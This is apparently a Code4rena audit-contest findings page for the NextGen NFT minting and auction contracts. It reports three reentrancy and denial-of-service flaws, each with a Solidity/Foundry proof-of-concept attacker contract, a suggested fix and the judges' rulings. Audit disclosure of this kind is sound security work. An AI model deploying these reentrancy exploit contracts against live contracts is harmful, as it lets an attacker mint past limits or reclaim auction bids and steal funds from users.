Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 166/243
Findings: 3
Award: $0.55
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.076 USDC - $0.08
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L231 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L224
The attacker has the possibility to make multiple calls to the mint function. To achieve this, they need to use a contract that implements the IERC721Receiver interface. This is possible because the _safeMint
function checks if the recipient contract can receive tokens by calling the onERC721Received
function. At the same time, the attacker can call the mint function again. This behavior allows them to bypass the check for exceeding the minting limit per address and mint any number of tokens.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import { Test, console2 } from "forge-std/Test.sol"; import { auctionDemo } from "../smart-contracts/AuctionDemo.sol"; import { IERC721 } from "../smart-contracts/IERC721.sol"; contract AttackReceiver { bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; NextGenCore public core; NextGenMinterContract public minter; uint256 public collectionIndex; uint256 public mintLimit; bytes32[] private merkleProof = new bytes32[](1); constructor( address _core, address _minter, uint256 _collectionIndex ) { core = NextGenCore(_core); minter = NextGenMinterContract(_minter); collectionIndex = _collectionIndex; merkleProof[0] = "0x"; } function attack(uint256 _mintLimit) public { mintLimit = _mintLimit; uint256 price = minter.getPrice(collectionIndex); minter.mint{value: price}( collectionIndex, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData address(this), // _mintTo merkleProof, // _merkleRoot address(this), // _delegator 1 //_varg0 ); } function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4) { uint256 minted = IERC721(core).balanceOf(address(this)); uint256 price = minter.getPrice(collectionIndex); if (minted < mintLimit) { minter.mint{value: price}( collectionIndex, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData address(this), // _mintTo merkleProof, // _merkleRoot address(this), // _delegator 2 //_varg0 ); } return _ERC721_RECEIVED; } } contract AuditTest is Test { function setUp() public { // ... } function test_poc_AttackReceiver() public { bytes32[] memory merkleProof = new bytes32[](1); merkleProof[0] = "0x"; uint256 collectionIndex = _createPublicCollection(); uint256 price = minter.getPrice(collectionIndex); // The target of the attack is the total supply (,,,uint256 totalSupply,,) = core.retrieveCollectionAdditionalData( collectionIndex ); // The receiver of tokens is the attacker contract AttackReceiver receiverContract = new AttackReceiver( address(core), address(minter), collectionIndex ); // Deposit eth for the attack vm.deal(address(receiverContract), 100 ether); receiverContract.attack(totalSupply); assertEq( IERC721(core).balanceOf(address(receiverContract)), totalSupply ); } function _createPublicCollection() private returns(uint256) { // ... core.setCollectionData( collectionIndex, artist, 1, // _maxCollectionPurchases 5, // _collectionTotalSupply 0 ); // ... } }
forge test
Consider using the ReentrancyGuard contract by OpenZeppelin or another similar contract
Reentrancy
#0 - c4-pre-sort
2023-11-20T14:37:47Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T13:59:58Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:37:25Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:40:27Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
When using the safeTransferFrom
function of the OpenZeppelin implementation of the ERC721 standard, the contract checks whether the recipient implements the IERC721Receiver
interface before transferring a token to them. The contract calls onERC721Received
for the recipient. An attacker can exploit this behavior to cancel their own bid during the reward claim process, returning both their bid and the token.
Here's how the attack can occur:
Please note that this vulnerability remains exploitable even after the M-01 fix. If the M-01 fix is not applied, the first step is not necessary.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import { Test, console2 } from "forge-std/Test.sol"; import { auctionDemo } from "../smart-contracts/AuctionDemo.sol"; import { IERC721 } from "../smart-contracts/IERC721.sol"; contract AuctionAttacker { bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; auctionDemo public auction; uint256 public tokenId; constructor(address _auction) { auction = auctionDemo(_auction); } function attack(uint256 _tokenId) public { uint256 highestBid = auction.returnHighestBid(_tokenId); auction.participateToAuction{value: highestBid + 1}(_tokenId); auction.claimAuction(_tokenId); } function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4) { // 0 - bid of bidder2 // 1 - bid of the attacker contract auction.cancelBid(tokenId, 1); return _ERC721_RECEIVED; } fallback() external payable {} } contract AuditTest is Test { auctionDemo public auction; function setUp() public { auction = new auctionDemo( address(minter), address(core), address(admins) ); // ... } function test_poc() public { address bidder1 = makeAddr("bidder1"); address bidder2 = makeAddr("bidder2"); vm.deal(bidder1, 100 ether); vm.deal(bidder2, 100 ether); // Two auctions take place simultaneously uint256 firstCollection = _createAuctionCollection(); uint256 secondCollection = _createAuctionCollection(); // Deploy attacker contract and deposit 10 ether AuctionAttacker attackerContract = new AuctionAttacker(address(auction)); vm.deal(address(attackerContract), 10 ether); minter.mintAndAuction( address(receiver), '{"tdh": "100"}', 0, firstCollection, block.timestamp ); uint256 firstTokenId = 10000000000; minter.mintAndAuction( address(receiver), '{"tdh": "100"}', // _tokenData 0, secondCollection, block.timestamp ); uint256 secondTokenId = 20000000000; // The spec of the protocol does not contain information about the receiver // since the auction contract cannot receive tokens // for claiming, the receiver must approve the tokens to the auction address vm.startPrank(receiver); IERC721(core).approve(address(auction), firstTokenId); IERC721(core).approve(address(auction), secondTokenId); vm.stopPrank(); // Auction contract balance is 3 ether vm.prank(bidder1); auction.participateToAuction{value: 3 ether}(firstTokenId); // Auction contract balance is 5 ether vm.prank(bidder2); auction.participateToAuction{value: 2 ether}(secondTokenId); // Attack the second auction attackerContract.attack(secondTokenId); // Attacker has an initial balance assertEq(address(attackerContract).balance, 10 ether); // And token assertEq( IERC721(core).ownerOf(secondTokenId), address(attackerContract) ); vm.prank(bidder1); auction.claimAuction(firstTokenId); // Initial funds - bid assertEq(bidder1.balance, 100 ether - 3 ether); assertEq( IERC721(core).ownerOf(firstTokenId), address(bidder1) ); } function _createAuctionCollection() private returns (uint256) { // ... } }
forge test
One possible solution is to check whether auctionClaim[_tokenid]
equals false
Replace L126:
require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
With:
require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true && auctionClaim[_tokenid] == false, "impossible to cancel");
And replace L137:
if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
With:
if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true && auctionClaim[_tokenid] == false) {
Reentrancy
#0 - c4-pre-sort
2023-11-20T14:36:53Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:40:06Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:20:12Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
Bids from a contract with an invalid ERC721Receiver implementation are permanently locked within the contract, obstructing normal auction flows and creating a financial risk for users.
Please note that if H-01 is not fixed, this will lead to the blocking of all bids in the auction!
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import { Test, console2 } from "forge-std/Test.sol"; import { auctionDemo } from "../smart-contracts/AuctionDemo.sol"; import { IERC721 } from "../smart-contracts/IERC721.sol"; contract InvalidERC721Receiver { auctionDemo public auction; constructor(address _auction) { auction = auctionDemo(_auction); } function bid(uint256 _tokenId) public { uint256 highestBid = auction.returnHighestBid(_tokenId); auction.participateToAuction{value: highestBid + 1 ether}(_tokenId); } function claim(uint256 _tokenId) public { auction.claimAuction(_tokenId); } function cancel(uint256 _tokenId) public { auction.cancelBid(_tokenId, 0); } } contract AuditTest is Test { auctionDemo public auction; function setUp() public { auction = new auctionDemo( address(minter), address(core), address(admins) ); // ... function test_poc() public { // Deploy an incorrect receiver contract and deposit 10 ether InvalidERC721Receiver receiverContract = new InvalidERC721Receiver( address(auction) ); vm.deal(address(receiverContract), 10 ether); uint256 auctionCollection = _createAuctionCollection(); minter.mintAndAuction( address(receiver), '{"tdh": "100"}', 0, auctionCollection, block.timestamp ); uint256 tokenId = 10000000000; // The protocol specification doesn't provide information about the receiver. // Since the auction contract cannot receive tokens, // the receiver must approve the tokens for transfer to the auction address. vm.prank(receiver); IERC721(core).approve(address(auction), tokenId); // Place a bid receiverContract.bid(tokenId); // Complete the auction vm.warp(block.timestamp + 10 seconds); // Attempting to claim will revert with this error message vm.expectRevert(bytes("ERC721: transfer to non ERC721Receiver implementer")); receiverContract.claim(tokenId); // Attempting to cancel will revert with this error message vm.expectRevert(bytes("Auction ended")); receiverContract.cancel(tokenId); } function _createAuctionCollection() private returns (uint256) { // ... } }
forge test
Consider the possibility of validating the implementation of ERC721Receiver
during the betting process in the participateToAuction function. However, please keep in mind that you need to fix H-01 first; otherwise, the possibility of a DOS attack remains.
DoS
#0 - c4-pre-sort
2023-11-20T14:37:25Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:57:30Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:57:46Z
alex-ppg marked the issue as duplicate of #1759
#3 - c4-judge
2023-12-08T22:17:43Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-09T00:23:13Z
alex-ppg changed the severity to 2 (Med Risk)